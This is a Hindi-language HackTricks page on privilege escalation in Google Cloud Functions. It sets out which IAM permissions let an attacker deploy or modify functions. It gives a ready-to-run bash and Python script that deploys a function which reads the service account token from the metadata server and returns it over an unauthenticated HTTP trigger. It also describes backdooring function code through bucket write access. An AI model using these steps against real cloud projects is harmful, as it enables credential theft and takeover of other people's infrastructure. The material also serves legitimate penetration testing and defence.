GCP - Cloudfunctions Privesc

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

cloudfunctions

Cloud Functions के बारे में अधिक जानकारी:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन विशेषाधिकारों के साथ एक हमलावर मनमाने (दुष्ट) कोड के साथ एक नया Cloud Function बना सकता है और इसे एक Service Account सौंप सकता है। फिर, विशेषाधिकारों को बढ़ाने के लिए मेटाडेटा से Service Account टोकन लीक करें।
फंक्शन को ट्रिगर करने के लिए कुछ विशेषाधिकारों की आवश्यकता हो सकती है।

इस विधि के लिए शोषण स्क्रिप्ट यहाँ और यहाँ मिल सकती हैं और प्रीबिल्ट .zip फ़ाइल यहाँ मिल सकती है।

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

इन विशेषाधिकारों के साथ एक हमलावर एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।

caution

Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।

कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए .call अनुमति या फंक्शन को ट्रिगर करने के लिए role/run.invoker भूमिका की आवश्यकता हो सकती है।

bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

caution

यदि आपको त्रुटि Permission 'run.services.setIamPolicy' denied on resource... मिलती है, तो इसका कारण यह है कि आप --allow-unauthenticated पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।

इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट यहाँ मिल सकती है।

cloudfunctions.functions.sourceCodeSet

इस अनुमति के साथ आप एक साइन किया हुआ URL प्राप्त कर सकते हैं जिससे आप एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड कर सकें (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)

bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

मुझे नहीं पता कि हमलावर के दृष्टिकोण से केवल यह अनुमति कितनी उपयोगी है, लेकिन जानना अच्छा है।

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

अपने आप को किसी भी पिछले .update या .create विशेषाधिकार दें ताकि आप बढ़ा सकें।

cloudfunctions.functions.update

केवल cloudfunctions अनुमतियों के साथ, बिना iam.serviceAccounts.actAs के आप फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।

बकेट पर पढ़ने और लिखने की पहुंच

यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी बकेट में अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।

आप हमले के बारे में अधिक जानकारी देख सकते हैं:

GCP - Storage Privesc

हालांकि, आप इसका उपयोग तीसरे पक्ष के क्लाउड फ़ंक्शंस को पूर्व-समझौता करने के लिए नहीं कर सकते क्योंकि यदि आप अपने खाते में बकेट बनाते हैं और इसे सार्वजनिक अनुमतियाँ देते हैं ताकि बाहरी प्रोजेक्ट इसके ऊपर लिख सके, तो आपको निम्नलिखित त्रुटि मिलती है:

caution

हालाँकि, इसका उपयोग DoS हमलों के लिए किया जा सकता है।

आर्टिफैक्ट रजिस्ट्री पर पढ़ने और लिखने की पहुंच

जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो एक नया डॉकर इमेज प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में पुश किया जाता है। मैंने एक नए इमेज के साथ इमेज को संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और cache इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें